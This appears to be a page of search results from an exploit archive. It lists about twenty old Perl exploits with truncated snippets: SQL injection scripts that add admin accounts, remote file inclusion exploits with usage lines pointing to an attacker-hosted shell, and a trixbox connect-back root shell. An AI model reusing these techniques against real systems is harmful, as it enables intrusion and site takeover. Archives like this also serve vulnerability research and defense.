1507 matches found
Tucows Client Code Suite (CSS) <= 1.2.1015 File Include Vulnerability
No description provided by source. !/usr/bin/perl Tucows Open Project --Remote File Inclusion Vulnerablity Bug Found & Exploit coded By Dr Max Virus Download:http://developer.tucows.com/code/ccs/downloads/ccs-open-1.2.1015-2006-209-1337.zip use LWP::UserAgent; $target=@ARGV0; $shellsite=@ARGV1;...
AJ Matrix DNA SQL Injection
No description provided by source. !usr/bin/perl |------------------------------------------------------------------------------------------------------------------ | -Info: | -Name: AJ Matrix DNA | -Site: http://www.ajsquare.com/ajhome.php | -Bug: Sql Injection | -Found: by Br0ly | -BRAZIL D |...
yourplace <= 1.0.2 - Multiple Vulnerabilities + rce exploit
No description provided by source. START 0x01 Informations: Script : YourPlace 0.5 beta 1 Download : http://www.hotscripts.com/jump.php?listingid=80545&jumptype=1 Vulnerability : DB Disclosure / Arbitrary Data Saving RCE EXPLOIT / Arbitrary File Upload / PHPInfo Disclosure / User Change Account...
WordPress <= 1.5.1.1 "add new admin" SQL Injection Exploit
No description provided by source. !/usr/bin/perl WordPress = 1.5.1.1 sql injection add new admin exploit by RST/GHC , http://rst.void.ru , http://ghc.ru coded by 1dt.w0lf use LWP::UserAgent; use Getopt::Std; use HTTP::Cookies; use Digest::MD5 qwmd5hex; getopts'h:p:'; $path = $opth; $pref = $optp...
CzarNews <= 1.20 (Cookie) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl ---------------------------------------------------------- CzarNews = v1.20 Cookie Remote SQL Injection Exploit Perl Exploit - Add a new admin with your credentials! Discovered On: 15/09/2008 Discovered By: StAkeR - StAkeRathotmaildotit...
webSPELL <= 4.01.02 (topic) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print \n \'/ ; print \n -.- ; print \n -------------------oOO------OOo-------------------; print \n | webSPELL = v4.01.02 topic Remote SQL Injection |; print \n | coded by DNX |; print \n...
Mediatheka <= 4.2 - Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl -w Mediatheka = 4.2 Remote Blind SQL Injection Exploit by athos - stakerathotmaildotit use strict; use LWP::UserAgent; my $stop,$start,$hash; my $domain = shift; my $userid = shift or my @chars = 48..57, 97..102; my $substr = 1; my $http = new...
IP Reg <= 0.4 - Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl ----------------------------------------------- IP Reg = 0.4 Blind SQL Injection Exploit Discovered By StAkeR - StAkeRathotmaildotit Discovered On 03/10/2008 ----------------------------------------------- Download...
Active PHP Bookmark Notes <= 0.2.5 - Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl Active PHP Bookmark Notes 0.2.5 = Remote File Inclusion Exploit Download S: http://sourceforge.net/projects/apbn/ Discovered & Coded by: GloDM = Mahmoodali perl GloD.pl target cmd shell location cmd shell variable cmd shell example:...
CcMail 1.0.1 (update.php functions_dir) Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl CcMail 1.0 Remote File Inclusion Exploit Download Script http://www.cicoandcico.com/download/ccmail/ccmail1.0.1.tar.gz Bug Found & coded By CrackersChild [email protected] Kullanimi perl cra.pl target cmd shell location cmd shell variable...
Gravity Board X <= 1.1 (csscontent) Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl Gravity Board X v1.1 possibly prior versions remote code execution exploit coded by 1dt.w0lf 14.08.2005 RST/GHC http://rst.void.ru http://ghc.ru use LWP::UserAgent; if@ARGV1 exit0; $path = $ARGV0; header; print Creating shell... Please wait\n; $gr...
BBPortalS <= 2.0 - Remote Blind SQL Injection Exploit
No description provided by source. BBPortalS BBsProcesS Remote Blind SQL Injection Exploit Bug Found And Write By Max007 Exploit Tested On V.1.5.10 And V.1.6.2 And 1.5.11 info:For The Version BBPortalS 2.0 name of field is user and password but you have to find name of table !/usr/bin/perl use...
phpPC <= 1.03 RC1 (/lib/functions.inc.php) Remote File Include Exploit
No description provided by source. !/usr/bin/perl + + - - - xp10 TEAM THE BEST POLISH TEAM - - + + + - phpPC = 1.03 RC1 Remote File Include Exploit + + + - Script name: phppc - Script site: http://www.phppc.de/ + + + - Find by: The-wolf-ksa wolf + - wolf TEAM + - Contact:...
CMS Faethon <= 2.0 (mainpath) Remote File Include Exploit
No description provided by source. !/usr/bin/perl CMS Faethon 2.0 Ultimate Class: Remote/Local File Include Vulnerability Date: 2006/10/24 Remote: Yes Type: Highly critical Vendor: www.cmsfaethon.org...
trixbox (langChoice) - Local File Inclusion Exploit (connect-back) (2)
No description provided by source. !/usr/bin/perl -w Jean-Michel BESNARD [email protected] / LEXSI Audit 2008-07-09 This is an update of the previous exploit. We can now get a root shell, thanks to sudo. perl trixboxfiv2.pl 192.168.1.212 Please listen carefully as our menu option has changed...
Log1 CMS 2.0 - Multiple Vulnerabilities
No description provided by source. +---------------------------------------+ | Log1 CMS 2.0 Multiple Vulnerabilities | +---------------------------------------+ Vulnerable Web-App : Log1 CMS 2.0 Vulnerability : Multiple Vulnerabilities. Author : Aodrulez. Atul Alex Cherian Email :...
Invision Gallery <= 2.0.7 - Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Invision Gallery version = 2.0.7 sql injection exploit coded by 1dt.w0lf RST/GHC THIS IS UNPUBLISHED RST/GHC EXPLOIT CODE KEEP IT PRIVATE use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = r57ig207 ;...
Jetbox CMS <= 2.1 (relative_script_path) Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl JetBox CMS Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://jetbox.streamedge.com/ The file...
Solaris 7.0/8 Sunsolve CD SSCD_SunCourier.pl CGI Script Arbitrary Command Execution Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/4269/info The Sunsolve CD is part of the Solaris Media pack. It is included as a documentation resource, and is available for the Solaris Operating Environment. A CGI script included with the CD does not adequately saniti...
Wordpress <= 1.5.1.2 xmlrpc Interface SQL Injection Exploit
No description provided by source. !/usr/bin/perl -w sorry for the late posting, had to test it. /str0ke Wordpress 1.5.1.2 Strayhorn // XMLRPC Interface SQL Injection By James Bercegay // http://www.gulftech.org/ // June 21 2005 Quick and dirty proof of concept that uses the XML RPC server...